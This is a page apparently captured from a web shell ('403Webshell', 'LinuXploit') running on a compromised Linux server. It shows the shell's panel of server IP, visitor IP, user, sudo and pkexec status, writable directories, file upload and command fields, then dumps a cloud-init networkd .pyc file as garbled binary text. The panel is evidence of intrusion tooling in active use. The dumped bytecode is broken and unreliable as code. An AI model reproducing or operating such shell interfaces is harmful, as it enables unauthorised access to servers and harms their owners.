403Webshell
Server IP : 167.99.254.82  /  Your IP : 216.73.216.76
Web Server : Apache
System : Linux host.techisquad.com 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : pawluxera ( 1011)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/net/__pycache__/networkd.cpython-310.pyc
o

��i�_�@s�ddlZddlmZddlmZmZmZmZmZm	Z	ddl
mZmZddl
mZmZddlmZe�e�Zdeeeefdeeeeffd	d
�Zdedefdd�ZGd
d�d�ZGdd�dej�Zddd�ZdS)�N)�defaultdict)�Any�Callable�Dict�List�Optional�Tuple)�subp�util)�renderer�should_add_gateway_onlink_flag)�NetworkState�data�returncCs&i}|��D]
\}}t|�||<q|S)z�
    Normalize a dictionary of lists.
    - Assumes top-level keys map to lists.
    - Each list and any nested dicts/lists will be recursively normalized.
    )�items�_normalize_value)r�
normalized�key�value�r�8/usr/lib/python3/dist-packages/cloudinit/net/networkd.py�	normalizesrcCs�t|t�ri}t|�D]
}t||�||<q|St|t�rHg}|D]}t|ttf�r/t|�}n|}|�|�q!zt|�WStyG|YSw|S)z�
    Recursively normalize a dictionary or list:
    - Dicts: keys sorted, values normalized
    - Lists: items normalized and sorted (if comparable)
    )�
isinstance�dict�sortedr�list�append�	TypeError)rrr�normalized_items�item�normalized_itemrrrrs$



�rc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�	CfgParserc
Cs$ggggggiggggid�|_dS)N)�Match�Link�Network�DHCPv4�DHCPv6�Address�Route�NetDev�VLAN�Bond�Bridge�RoutingPolicyRule)�	conf_dict)�selfrrr�__init__:s�zCfgParser.__init__cCs^|j��D]'}||kr,|j|�|�d|���tt�|j|��|j|<|j|��qdS)N�=�r.�keysrrr�fromkeys�sort)r/�secr�val�krrr�update_sectionJs��zCfgParser.update_sectioncCs�|j��D]=}||krB||j|vrg|j||<|j||�|�d|���tt�|j||��|j||<|j||��qdS)z�
        For each route section we use rid as a key, this allows us to isolate
        this route from others on subsequent calls.
        r1Nr2)r/r6�ridrr7r8rrr�update_route_sectionQs���zCfgParser.update_route_sectioncCs�d}t|j�|_t|j���D]`\}}|sq|dkr-t|�D]
}|d|�d|�d�7}qq|dvrUt|�D]}|d|�d�7}t||�D]	}||�d�7}qE|d7}q5q|d|�d�7}t|�D]	}||�d�7}qa|d7}q|S)N�r'�[z]
�

)r(r-�
)rr.rr)r/�contentsr8�v�e�nrrr�get_final_confas*�
�
zCfgParser.get_final_confN)�__name__�
__module__�__qualname__r0r9r;rDrrrrr!9s
r!c@s
eZdZdZd*dd�Zdefdd�Zdefdd	�Zdefd
d�Zdefdd
�Z	defdd�Z
dedefdd�Zdefdd�Z
d+dd�Z		d,dedeeddfdd�Zdefdd�Zdefd d!�Zdefd"d#�Zdedefd$d%�Zdedefd&d'�Zdedefd(d)�ZdS)-�Rendererz�
    Renders network information in /etc/systemd/network

    This Renderer is currently experimental and doesn't support all the
    use cases supported by the other renderers yet.
    NcCs(|si}|�dd�|_|�dd�|_dS)N�resolve_conf_fnz/etc/systemd/resolved.conf�network_conf_dirz/etc/systemd/network/)�getrIrJ)r/�configrrrr0�s�
�zRenderer.__init__�cfgcCsfd}ddd�}|ddkrd|d<|sdS|��D]\}}||vr.||r.|�||||�q|d	S)
Nr"�Name�Driver)�name�driver�type�physical�
MACAddress�mac_addressrP)rr9)r/�ifacerMr6�
match_dictr8rArrr�generate_match_section�s��zRenderer.generate_match_sectioncCszd}|sdS|�d�r|�|d|d�|ddkr(|�d�r(|�|d|d�d|vr9|dr;|�|d	d
�dSdSdS)Nr#�mtu�MTUBytesrRrSrUrT�optional�RequiredForOnline�no)rKr9)r/rVrMr6rrr�generate_link_section�s
�zRenderer.generate_link_sectionc	Cspd}ddddd�}d}d|vrd	|d��}|��D]\}}||vr#q|d
kr+||7}|�|||||�qdS)zy
        Parse a route and use rid as a key in order to isolate the route from
        others in the route dict.
        r(�Gateway�Destination�Metric�Table)�gateway�network�metric�tabler<�prefix�/rdN)rr;)	r/r:�confrMr6�
route_cfg_maprgr8rArrr�parse_routes�s ��zRenderer.parse_routesc	Cs�d}d}d}|�dg�D]�}|d}|dvr$|dkrd}n|dkr#d	}n|d
kr5|dkr/d}n|dkr5d	}d|vrR|drR|dD]}|�d|��||�|d
}qAd|vr�|d}	d|vrg|	d|d��7}	ddddd�}
|��D]O\}}|dkr�|�d|
||	�qr|dkr�|�dd|��|
||�t||	�r�t�d||	�|�dd|��dd	�|d
}qr|dvr�|�||
|d�|��qrq|�|d|�t	|�d�t
�r�d}
|dr�d	}
|�|d|
�|S) Nr]r$r�subnetsrR>�dhcp�dhcp4�ipv4�ipv6�yes�dhcp6�routes�r��addressrgrhr'r_�DNS�Domains)rvrc�dns_nameservers�
dns_searchrcr(�azGGateway %s is not contained within subnet %s, adding GatewayOnLink flag�
GatewayOnLink>rzry� �DHCPz	accept-ra�IPv6AcceptRA)rKrkrr9r;r�LOG�debug�joinr�bool)r/rVrMrmr6r:rB�t�i�addr�subnet_cfg_mapr8rAr7rrr�
parse_subnets�sp�
��
��
�zRenderer.parse_subnetsc	Cs�dD]B}||vr	qt||���}z
t�|�}|rdnd}Wnty3|dkr1t�d|�d}Ynw|dkr;d}nd}|�|d	|�qdS)
N)�dhcp4domain�dhcp6domainrqr]�routezInvalid dhcp4domain value - %sr�r%r&�
UseDomains)�str�casefoldr
�translate_bool�
ValueErrorr��warningr9)r/�drMr�ret�sectionrrr�dhcp_domain
s$
���zRenderer.dhcp_domain�nscCs�d}|�d�}|s|jdkr|j|jd�}n	|s|jdkrdS|�d�r0|�|dd�|d��|�d	�rC|�|d
d�|d	��dSdS)Nr$�dnsru)�search�nameservers�r�rxr}r�rw)rK�version�dns_searchdomainsryr9r�)r/rVrMr�r6r�rrr�	parse_dnss
�

�zRenderer.parse_dnsc	Cs�ddddd�}|dkr|�ddd	d
dd��d
|�d�|vrH|dd|��fvrJ|d
|�d�}|��D]\}}||vrG|�d|��|||�q3dSdSdS)Nzuse-dns�use-domainszuse-hostnamezuse-ntp)�UseDNSr��UseHostname�UseNTP�4z
send-hostname�hostnamezroute-metriczuse-mtuz
use-routes)�SendHostname�Hostname�RouteMetric�UseMTU�	UseRoutesrm�
-overridesrq�ipv�DHCPv)�updaterr9)	r/rM�devicermr��dhcp_config_maps�dhcp_overridesr8rArrr�parse_dhcp_overrides-s2���
���zRenderer.parse_dhcp_overrides�.networkcCsVd}t�d|�|�d|�|��}|�d�r|dd�}t�||�t�|||�dS)Nzsystemd-networkz Setting Networking Config for %sz10-cloud-init-r>���)r�r��endswithr
�
write_file�chownbyname)r/�linkri�nwk_dir�ext�net_fn_owner�net_fnrrr�create_network_fileIs
zRenderer.create_network_file�
network_state�	templatesrcCs�|j}|rt�|�|}t�|�|�|�}|�di�}|�di�}|�di�}|��D]\}	}
|�|	|
|�q,|��D]
\}	}
|j|	|
|dd�q<|��D]
\}	}
|j|	|
|dd�qN|��D]
\}	}
|j|	|
|dd�q`dS)N�vlan_netdev�bond_netdev�
bridge_netdevz.netdev)r�)	rJr	�target_pathr
�
ensure_dir�_render_content�poprr�)r/r�r��target�network_dirrdr�r�r�r8rArrr�render_network_stateTs"

�zRenderer.render_network_statecCsDd}d}|D]}|��D]\}}|�|||��|�q|d7}qdS)Nrr-ru)rr;�
capitalize)r/�policyrMr:rr7r8rArrr�parseRoutingPolicyqs
�zRenderer.parseRoutingPolicy�nsCfgcCsJi}d}dD]}||vr
q||��D]\}}||vr!||||<qq|S)Nzrouting-policy)�	ethernets�bonds�vlans�bridges)r)r/r��routingPoliciesrr�rV�settingsrrr�extractRoutingPoliciesys��zRenderer.extractRoutingPoliciesc Cs�i}|�|�}|d}|d}||d<|�|�}|d}|d}||d<|�|�}	|	d}
|	d}|
|d<|�|j�}|��D�]}
t�}|
d}|�|g�}|D]	}|�dd	|�qQ|�|�}|rh|�	||�|�|�}|rv|�dd
|�|�|�}|r�|d�|i��|�}|r�|�dd
|�|d�|i��|�}|r�|�dd|�|�dd|�|�
|
|�}|�|
|�|�|
|�}|�
|
||�d}|��D]}|�d|��||�|d}q�|jdk�rK|
d}|jd��D]\}}d|v�r|�d�|k�r|}nq�||jdv�rK|jd|}|�||�dD]0}d|�d�|v�rAd|�d|�d�i�v�rA|�d|�d|�d�}t|��|�||||��q|�||��i�q?|S)Nr��	vlan_linkr��	bond_linkr��bridge_linkrPr$r*r+�	path-costr,�Cost�
port-priority�Priorityr�crur�r�zset-name)r��6rm�domainr�r�z has both dhcpzdomain and dhcpz*-overrides.use-domains configured. Use one)�render_vlans�render_bonds�render_bridgesr�rL�iter_interfacesr!rKr9r�rXr^r�r��iter_routesrkr�rr��RuntimeErrorr�r�rD) r/r��ret_dict�	vlan_dictr�r��	bond_dictr�r��bridge_dictr�r�r�rVrM�
iface_name�vlan_link_namer��rPolicy�bond_link_name�bridge_link_namer7r�rmr:r�rP�dev_name�dev_cfgr�r��	exceptionrrrr��s�





��


����zRenderer._render_contentcCs�tt�}i}t�d�}|�|�D]b}|d}|�d�}|�d�}|dus(|dur/t�d|�q||�|�t	�}	|	�
dd|�|	�
ddd�|�d	�}
|
rU|	�
dd
|
�|�d�}
|
re|	�
dd|
���|	�
d
d|�|	��||<q||d�S)N�vlanrP�vlan_idzvlan-raw-devicez)Skipping VLAN %s - missing 'id' or 'link'r)rN�KindrYrZrUrTr*�Id)r�r�)
rrr�filter_by_typer�rKr�r�rr!r9�lowerrD)r/r��vlan_link_info�vlan_ndev_configs�vlan_filterrVr�r��parentrMr7rrrr��s6


�

�zRenderer.render_vlansc	s<i}i}d}t�d�}t�d�}|�|�D�]}|d��fdd�|�|�D�}|s1t�d��q|��fdd	�|D��t�}	|	�d
d��|	�d
dd�|�	d
�}
|
r\|	�d
d|
�|�	d�}
|
rl|	�d
d|
�
��ttt
tttgtfff}iddtf�dddd�f�ddtf�dddd�f�ddtf�ddtf�d d!d"d�f�d#d$tf�d%d&tf�d'd(tf�d)d*tf�d+d,d-d�f�d.d/tf�d0d1d2d�f�d3d4tf�d5d6tf�d7d8tf�}|��D]\}
\}}|
|vr�|	�|||||
��q�d9|v�r|d9}t|t��r|g}|	�|d:d;�|��|	��|�<q||d<�S)=Nr+�bond�bond-masterrPcs g|]}|d�kr|d�qS)r�rPr)�.0�slave_iface�r�rr�
<listcomp>$s
�z)Renderer.render_bonds.<locals>.<listcomp>z'Skipping bond %s - missing 'interfaces'csi|]}|��qSrr)r�rVr�rr�
<dictcomp>/sz)Renderer.render_bonds.<locals>.<dictcomp>r)rNr�rYrZrUrTzbond-ad-select�AdSelectzbond-arp-interval�ARPIntervalSeccS�
|�d�S�N�msr�rArrr�<lambda>C�
z'Renderer.render_bonds.<locals>.<lambda>zbond-arp-validate�ARPValidatezbond-downdelay�DownDelaySeccSrrrrrrrrErzbond-fail-over-mac�FailOverMACPolicyzbond-lacp-rate�LACPTransmitRatezbond-miimon�
MIIMonitorSeccSrrrrrrrrHrzbond-min-links�MinLinksz	bond-mode�Modezbond-num-grat-arp�
GratuitousARPzbond-primary-reselect�PrimaryReselectPolicyzbond-updelay�
UpDelaySeccSrrrrrrrrMrzbond-xmit-hash-policy�TransmitHashPolicyzbond-all-slaves-active�AllSlavesActivecSst|���S�N)r�r�rrrrrQszbond-arp-all-targets�
ARPAllTargetszbond-learn-packet-interval�LearnPacketIntervalSeczbond-packets-per-slave�PacketsPerSlavezarp-ip-targets�ARPIPTargetsr})r�r�)rr��filter_by_attrr�r�r�r�r!r9rKr�rr�rr�objectrrr�rD)r/r��bond_link_info�bond_ndev_configsr��bond_filter�slave_filterrV�bond_slavesrMr7�ParamMapType�	param_mapr�option�	formatter�targetsrr�rr�s�


��

��������	�
���
�������
�zRenderer.render_bondscCs`iiid�}i}t�d�}|�|�D]�}|d}|�dg�}|s't�d|�q|D]}|||<q)t�}	|	�dd|�|	�ddd�|�d	�}
|
rO|	�dd
|
�|�d�}
|
r_|	�dd|
���d
dddddd�}|�	�D]\}}
|�|�}
|
r�t
|
t�r�|
r�dnd}
|	�d|
|
�ql|�d�}
|
r�|
|d|<|�d�}
|
r�|
|d|<|	��||<q||d�S)N)�
macaddressr�r��bridgerP�bridge_portsz)Skipping bridge %s - missing 'interfaces'r)rNr�rYrZrUrT�
AgeingTimeSecr��ForwardDelaySec�HelloTimeSec�	MaxAgeSec�STP)�
bridge_ageing�bridge_bridgeprio�	bridge_fd�bridge_hello�
bridge_maxage�
bridge_stprqr]r,�bridge_pathcostr��bridge_portprior�)r�r�)
rr�r�rKr�r�r!r9r�rrr�rD)r/r��bridge_link_info�bridge_ndev_configs�
bridge_filterrVr�r'�bridge_portrMr7r!r�sysd_keyrrrr�isb�
�


�

�

�zRenderer.render_bridgesr)r�)NN)rErFrG�__doc__r0r!rXr^rkr�r�r
r�r�r�rrr�r�rr�r�r�r�r�rrrrrH{s4

B
���
�o'NrHcCs2ddg}ddg}|D]}tj||d�sdSq
dS)N�ip�	systemctlz	/usr/sbinz/bin)r�FT)r	�which)r��expectedr��prrr�	available�s�r@r)�logging�collectionsr�typingrrrrrr�	cloudinitr	r
�
cloudinit.netrr�cloudinit.net.network_stater
�	getLoggerrEr�r�rrr!rHr@rrrr�<module>s  
*B6

Youez - 2016 - github.com/yon3zu
LinuXploit